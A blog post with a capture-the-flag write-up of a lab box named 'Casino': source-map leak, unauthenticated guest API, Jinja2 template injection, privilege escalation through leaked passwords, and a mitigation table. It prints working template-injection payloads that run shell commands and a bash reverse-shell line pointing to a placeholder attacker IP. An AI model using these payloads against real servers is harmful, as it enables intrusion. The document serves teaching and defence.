DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

HackSmarter - Casino Writeup

Summary

Casino is a Flask-based "Guest WiFi & Portal" resort captive portal. A leaked JS source-map exposes an unauthenticated internal API endpoint (/api/v1/rooms/status) that dumps the entire guest database, giving away valid room-number/last-name pairs used by the login form. Logging in as a leaked guest exposes a display_name field on /profile that is vulnerable to server-side template injection (Jinja2 SSTI), leading to RCE as www-data inside the app's Docker container. From there, a readable .bash_history in another user's home directory leaks a plaintext MySQL password that gets reused as a local su password, and group membership in adm grants read access to a provisioning log containing the root sync credential, which fully compromises the host.

Recon

Full TCP scan:

nmap -A -p- <MACHINE-IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
| http-title: Hack Smarter World - Guest WiFi & Portal
|_Requested resource was /login
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

Two SSH services on different ports and versions (Ubuntu on 22, Debian on 2222) is an early hint we're looking at a host fronting (or containing) a separate Linux environment. Port 80 is a Flask app served through Werkzeug's dev server, titled "Hack Smarter World - Guest WiFi & Portal".

Content discovery:

dirsearch -u http://<MACHINE-IP>/ -x 403,404
Enter fullscreen mode Exit fullscreen mode
[07:42:29] 200 -    5KB - /login
Enter fullscreen mode Exit fullscreen mode
whatweb http://<MACHINE-IP>/
Enter fullscreen mode Exit fullscreen mode
http://<MACHINE-IP>/ [302 Found] ... RedirectLocation[/login] ... Werkzeug[3.1.8]
http://<MACHINE-IP>/login [200 OK] Bootstrap, HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18] ...
Enter fullscreen mode Exit fullscreen mode

Everything unauthenticated redirects to /login, which is a captive-portal-style form asking for a room number and a guest's last name.

Source map leak → unauthenticated API disclosure

The login page loads a minified script:

curl http://<MACHINE-IP>/static/js/app.min.js
Enter fullscreen mode Exit fullscreen mode
function initPortal(){console.log("Hack Smarter World WiFi Gateway Active");}document.addEventListener("DOMContentLoaded",initPortal);
//# sourceMappingURL=app.min.js.map
Enter fullscreen mode Exit fullscreen mode

The sourcemap reference is still deployed and readable:

curl http://<MACHINE-IP>/static/js/app.min.js.map
Enter fullscreen mode Exit fullscreen mode
{
  "version": 3,
  "file": "app.min.js",
  "sources": ["src/api/roomVerification.js"],
  "sourcesContent": [
    "// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch('/api/v1/rooms/status?status=occupied');\n return await res.json();\n}"
  ]
}
Enter fullscreen mode Exit fullscreen mode

This is dead code (the minified bundle never actually calls checkRoomStatus), but the sourcemap tells us the front-desk kiosk normally talks to an internal API at /api/v1/rooms/status. Hitting it directly, with no session and no auth:

curl 'http://<MACHINE-IP>/api/v1/rooms/status?status=occupied'
Enter fullscreen mode Exit fullscreen mode
{
  "filter": "occupied",
  "rooms": [
    { "checkout": "2026-08-11", "guest_name": "[REDACTED]", "id": 1, "room_number": "[REDACTED]", "status": "occupied", "tier": "Standard Guest" },
    ...
    { "checkout": "2026-08-13", "guest_name": "[REDACTED]", "id": 98, "room_number": "[REDACTED]", "status": "occupied", "tier": "VIP Premium" }
  ],
  "status": "success",
  "total_records": 100
}
Enter fullscreen mode Exit fullscreen mode

The endpoint has no authentication and no rate limiting, and returns all 100 occupied rooms with room_number and guest_name (last name), exactly the two fields the login form asks for. This is a broken access control / IDOR issue: an internal kiosk API was exposed on the same origin as the guest portal with no distinction in trust level.

Login bypass via leaked guest data

Picking an arbitrary entry (room [REDACTED], last name [REDACTED]) and logging in:

curl -i -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/login' \
  -d 'room_number=[REDACTED]' \
  -d 'last_name=[REDACTED]'
Enter fullscreen mode Exit fullscreen mode
HTTP/1.1 302 FOUND
Location: /dashboard
Set-Cookie: session=.eJxVjk0LgkAQhv_KNmcFM_rAW5ewmyTkIUK2dXQXXVd2Zw8h_ve2iKDTDC_PPPPOULcDdxIdZLcZGIUBzguBzkEER08SR1KCEzaMDMu56FmpuSW0rDJ2aFiuOhmXEwagUie1gvtyj6BRbhr4sx65Rsig5JZLdjEfa-fRhUczCImiN57qJvgDlSbpLk4O8XoTqFZZR3_3IQxdf9nXZo3R9ej1Ay1k230SAan3CtdzwQqLWnkNy_ICHbNNhg.ao2Bsg.xtUmaPOrplT2GjjTUiNhQsFy1fs; HttpOnly; Path=/
Enter fullscreen mode Exit fullscreen mode

The session cookie is enough to reach /dashboard, which now greets us as "[REDACTED]" in Room [REDACTED]: full account takeover of a guest that was never authenticated by anything other than data the API itself leaked.

SSTI discovery on /profile

The dashboard links to /profile, which has a single editable field, display_name, that's reflected straight back into the page ("Welcome Back, [REDACTED]!"). Reflected user input into a Flask app is worth testing for Jinja2 SSTI:

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  -d 'display_name={{7*7}}'
Enter fullscreen mode Exit fullscreen mode
HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, 49!</h5>
<input ... value="49" required>
Enter fullscreen mode Exit fullscreen mode

{{7*7}} evaluated to 49, the field is passed straight into a Jinja2 render_template_string-style call with no sanitization or sandboxing. This is a textbook server-side template injection.

First RCE attempt — failed (shell quoting, not a WAF)

The obvious next step is breaking out to os.popen through Jinja2's object graph. Two different gadget payloads were tried here, both wrapped in single-quoted -d arguments containing embedded single quotes around identifiers like 'os' and 'id'. Both attempts came back as HTTP/1.1 500 INTERNAL SERVER ERROR.

It's tempting to assume a WAF or input filter is stripping the payload, but that's not what's happening here: there's no WAF in front of this app at all. The actual bug is in the shell invocation, not the server.

In POSIX shells, a ' always closes the currently open single-quoted string, there's no escaping inside single quotes. So bash/zsh parses a payload like this into several concatenated fragments, splitting apart wherever an internal ' appears:

'display_name={{config.__class__.__init__.__globals__[' + os + '].popen(' + id + ').read()}}'
Enter fullscreen mode Exit fullscreen mode

os and id are then evaluated as unquoted shell words, not literal text. Since there's no os or id command/variable expansion that produces anything useful here, curl ends up sending a mangled body where the Python identifiers os and id are no longer inside quotes at all, from Jinja2's point of view that's a Python NameError / syntax error (os and id are undefined names in that context), which the Flask app turns into the generic Werkzeug 500 page. -d also sends the body completely raw with no URL-encoding, so nothing was normalizing the broken quoting either.

The fix is to stop letting the shell tear apart the payload's internal quotes. Wrapping the argument in double quotes (so the payload's single quotes survive literally) and switching to --data-urlencode (so reserved characters like {, }, and spaces are sent correctly instead of raw) resolves it cleanly.

Successful RCE via --data-urlencode

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('id').read() }}"
Enter fullscreen mode Exit fullscreen mode
HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, uid=33(www-data) gid=33(www-data) groups=33(www-data)
!</h5>
<input ... value="uid=33(www-data) gid=33(www-data) groups=33(www-data)
" required>
Enter fullscreen mode Exit fullscreen mode

lipsum is one of Jinja2's default globals ({{ lipsum }} for generating placeholder text) and, like cycler, exposes __globals__ even though it isn't wrapped by the sandbox the app clearly isn't using anyway. With the quoting fixed, os.popen('id').read() executes server-side and confirms code execution as www-data.

Reverse shell

With confirmed RCE, catching a shell with penelope:

penelope listen -p 4444
Enter fullscreen mode Exit fullscreen mode
curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1\"').read() }}"
Enter fullscreen mode Exit fullscreen mode
[+] [New Reverse Shell] => 5ee06b607cca <MACHINE-IP> Linux-x86_64 👤 www-data(33) 😍️ Session ID <1>
[+] Agent deployed via /usr/local/bin/python3
Enter fullscreen mode Exit fullscreen mode
www-data@5ee06b607cca:/app/app$ whoami
www-data
www-data@5ee06b607cca:/app/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Confirming we're inside a Docker container

The shell prompt (5ee06b607cca) is a container-ID-style hostname, not a normal host name, and the app root confirms it:

www-data@5ee06b607cca:/app/app$ cd ..
www-data@5ee06b607cca:/app$ ls
Dockerfile  app  docker-compose.yml  entrypoint.sh  requirements.txt  scripts  start.sh  supervisord.conf
www-data@5ee06b607cca:/app$ cat Dockerfile
FROM python:3.10-slim-bullseye
...
RUN setcap 'cap_net_bind_service=+ep' $(readlink -f $(which python3))
RUN mkdir -p /var/run/sshd
RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
WORKDIR /app
COPY requirements.txt /app/
RUN pip install --no-cache-dir -r requirements.txt
COPY . /app/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN chmod +x /app/entrypoint.sh /app/scripts/setup_system.sh
EXPOSE 80 22
ENTRYPOINT ["/app/entrypoint.sh"]
Enter fullscreen mode Exit fullscreen mode

So the whole box is a single Docker container running Flask (via supervisord), OpenSSH, and sudo, everything we're about to do from here on happens inside that container, there's no host/container pivot needed. This also explains the two different SSH banners from the nmap scan: port 22 belongs to the container's own sshd, port 2222 is a separate service on the outer host/hypervisor.

App source, confirming the SSTI sink lives in the Flask route backing /profile (app.py) and that guest data is pulled from a local SQLite DB seeded at build time (database.py, deterministically seeded with random.seed(42), which is exactly why the guest API dump above was reproducible/enumerable):

www-data@5ee06b607cca:/app/app$ ls -la
-rw-rw-r-- 1 www-data www-data  4639 Aug 11 04:14 app.py
-rw-rw-r-- 1 www-data www-data  4300 Aug  9 22:30 database.py
-rw-rw-rw- 1 www-data www-data 24576 Aug  9 22:30 resort.db
Enter fullscreen mode Exit fullscreen mode

Local enumeration → password reuse

www-data@5ee06b607cca:/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
www-data@5ee06b607cca:/app$ ls /home
david  george
Enter fullscreen mode Exit fullscreen mode

Both george's and david's home directories are world-readable, and george's has a .bash_history sitting there with www-data permissions to read:

www-data@5ee06b607cca:/home/george$ cat .bash_history
cd /var/www/app
...
cd /home/george
ls -la
ssh-keygen -t rsa -b 2048
cat .ssh/id_rsa.pub >> .ssh/authorized_keys
chmod 644 .ssh/id_rsa
sudo systemctl restart ssh
...
su david
[REDACTED]
exit
history -c
mysql -u david -p'[REDACTED]' -h 127.0.0.1 resort_db
...
Enter fullscreen mode Exit fullscreen mode

Two findings here:

  1. chmod 644 .ssh/id_rsa: george made his own SSH private key world-readable (this is exactly the user.txt flag's hint).
  2. su david / [REDACTED]: george typed david's su password directly into the shell (it landed in history as its own line instead of being consumed by the password prompt), and the same password shows up again reused for MySQL. Classic password reuse across a shell login and a database account.

george's user flag is readable directly as www-data:

www-data@5ee06b607cca:/home/george$ cat user.txt
HSM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Privilege escalation → david

www-data@5ee06b607cca:/home/george$ su david
Password: 
david@5ee06b607cca:/home/george$ id
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)
Enter fullscreen mode Exit fullscreen mode

david isn't in sudoers:

david@5ee06b607cca:~$ sudo -l
[sudo] password for david: 
Sorry, user david may not run sudo on 5ee06b607cca.
Enter fullscreen mode Exit fullscreen mode

But david is a member of the adm group, which on Debian/Ubuntu grants read access to most of /var/log, including files that are 640 root:adm:

david@5ee06b607cca:~$ ls -la /var/log
-rw-r----- 1 root adm     612 Aug 25 11:35 provisioning.log
Enter fullscreen mode Exit fullscreen mode
david@5ee06b607cca:~$ grep -r root /var/log
/var/log/provisioning.log:2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
/var/log/provisioning.log:2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: [REDACTED]
Enter fullscreen mode Exit fullscreen mode

A provisioning/build script left a debug-level log entry containing the root account's password in plaintext, readable by anyone in adm.

Root

david@5ee06b607cca:~$ su root
Password: 
root@5ee06b607cca:/home/david# whoami
root
root@5ee06b607cca:~# cat root.txt
HSM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Attack Chain

Unauthenticated /login
        │
        ▼
Leaked sourcemap (app.min.js.map)
        │  reveals internal kiosk API path
        ▼
GET /api/v1/rooms/status?status=occupied  (no auth)
        │  dumps room_number + guest_name for all 100 guests
        ▼
POST /login  (room_number=[REDACTED], last_name=[REDACTED])
        │  guest account takeover via leaked data
        ▼
/profile → display_name reflected unsanitized
        │  Jinja2 SSTI ({{7*7}} → 49)
        ▼
{{ lipsum.__globals__['os'].popen(...) }}   [--data-urlencode fixes shell-quoting break]
        │  RCE as www-data (inside Docker container)
        ▼
Readable /home/george/.bash_history
        │  leaks david's su/MySQL password (reuse) + world-readable id_rsa → user.txt
        ▼
su david  (adm group membership)
        │  read access to /var/log/provisioning.log
        ▼
Plaintext root password in provisioning.log
        │
        ▼
su root → root.txt
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities & Mitigations

# Vulnerability Impact Mitigation
1 Deployed JS sourcemap (app.min.js.map) leaks internal API path Recon → exposes hidden endpoint Never ship .map files to production; strip source maps in the build pipeline
2 /api/v1/rooms/status has no authentication Full guest PII dump (room + last name), enables login bypass Require session/auth on all internal APIs; never trust "kiosk-only" obscurity
3 Guest login only checks room number + last name (both leaked by #2) Account takeover of any guest Add a real secret (booking reference, OTP) not derivable from other endpoints
4 display_name rendered via unsandboxed Jinja2 (render_template_string) Server-side template injection → RCE as www-data Never pass user input into render_template_string; use render_template with a fixed template and pass data as a context variable only
5 World-readable george and david home directories, a .bash_history with credentials, and a self-chmod'd 644 SSH private key Credential and key disclosure to any local user chmod 700 home directories, never type passwords on the command line, disable/clear history for sensitive commands, chmod 600 private keys
6 Password reuse between su login and MySQL account One leaked credential compromises multiple services Unique credentials per service, use a secrets manager
7 adm group grants read access to /var/log, and a provisioning script logged the root password at DEBUG level Local user → root Never log secrets, even at debug level; scrub/rotate provisioning logs; avoid giving broad log-read groups to non-admin accounts

Top comments (0)